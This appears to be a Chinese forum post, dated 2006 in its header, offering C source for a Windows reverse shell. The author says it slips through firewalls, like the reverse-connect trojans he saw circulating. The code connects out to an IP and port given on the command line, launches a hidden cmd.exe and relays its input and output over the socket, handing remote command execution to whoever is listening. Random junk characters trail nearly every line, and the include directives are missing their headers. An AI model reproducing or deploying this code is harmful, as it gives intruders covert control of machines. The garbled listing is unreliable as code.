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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 97Zk P=Cq  
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/* ============================== B6ed,($&  
Rebound port in Windows NT HkdN=q  
By wind,2006/7 au~]  
===============================*/ -VWCD,c  
#include =_8 UZk.  
#include @A2/@]HBm  
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#pragma comment(lib,"wsock32.lib") VFl 1 f  
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void OutputShell(); L1 9 MP  
SOCKET sClient; fW.GNX8  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; ,@Fgr(?'`>  
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void main(int argc,char **argv) =R&)hlm  
{ }dX/Y /  
WSADATA stWsaData; ~v2V`lxh  
int nRet; r(: 8!=~K  
SOCKADDR_IN stSaiClient,stSaiServer; 2cCWQ"_,  
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if(argc != 3) Kc%n(,+%"  
{ ovd^,?ib  
printf("Useage:\n\rRebound DestIP DestPort\n"); 5pRY&6So  
return; h L]8e>a?  
} z;dcAdz9  
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WSAStartup(MAKEWORD(2,2),&stWsaData); gX@nPZjg  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); pbDw Lo]  
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stSaiClient.sin_family = AF_INET; +{xMIl_  
stSaiClient.sin_port = htons(0); G{kj}>kS_  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); _W0OM[  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 50LHF %  
{ A&<?   
printf("Bind Socket Failed!\n"); )=jT_?9b   
return; CAUijMI@  
} T8$%9&j!UE  
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stSaiServer.sin_family = AF_INET; Fn:.Y8%-  
stSaiServer.sin_port = htons((u_short)atoi(argv[2]));  VQ`,#`wV  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &/](HLdF  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) 8[{|xh(  
{ [_WI8~g Y  
printf("Connect Error!"); g4N%PV8  
return; jHAWK9fa  
} s$DGd T)  
OutputShell(); i2$*}Cu  
} NW{y% Z  
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void OutputShell() >0PUWr$8  
{ 8f?rEI\0GD  
char szBuff[1024]; m@ i2#  
SECURITY_ATTRIBUTES stSecurityAttributes; hPa n  
OSVERSIONINFO stOsversionInfo; S8O)/Sg=  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; 9>N\sOh  
STARTUPINFO stStartupInfo; u4:\UC'  
char *szShell; $ !v}xY  
PROCESS_INFORMATION stProcessInformation; 8rFaW  
unsigned long lBytesRead; J?C k4dQ  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); EdEoXY-2  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); xC-BqVJ%_T  
stSecurityAttributes.lpSecurityDescriptor = 0; sN m,Fmuz:  
stSecurityAttributes.bInheritHandle = TRUE; oW^k7 #<e}  
~xS@]3n=  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); RCI4~q  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); aH%ZetLNJ  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !:(C"}5wM  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; np\st7&f6  
stStartupInfo.wShowWindow = SW_HIDE; "YJ[$TG  
stStartupInfo.hStdInput = hReadPipe; nO~b=qO  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; |GtY*|  
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GetVersionEx(&stOsversionInfo); 8;TAb.r  
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switch(stOsversionInfo.dwPlatformId) cVp[ Z#B  
{ }2l O _i}L  
case 1: ;SgD 5Ln}  
szShell = "command.com"; &K>cW$h=a  
break; Pg/T^n&  
default: -'6<   
szShell = "cmd.exe"; ~n WsP}`n  
break; #+9rjq:v#]  
} Y %K~w  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ,eDD:#)$}  
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send(sClient,szMsg,77,0); Z!= L   
while(1) ;)?( 2 wP  
{  EZ<80G  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 5G#$c'A{4  
if(lBytesRead) 6 mCq/$  
{ :G-1YA  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 6B#('gxO  
send(sClient,szBuff,lBytesRead,0); F?z<xL@  
} s2%V4yy%  
else 8h|M!/&2  
{ Bz+.Qa+  
lBytesRead=recv(sClient,szBuff,1024,0); 2{-!E ^g  
if(lBytesRead<=0) break; p%F8'2)}  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); 4U?<vby  
} U/Wrh($ #4  
} -/>9c-F  
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return; T7 {<arL$  
}
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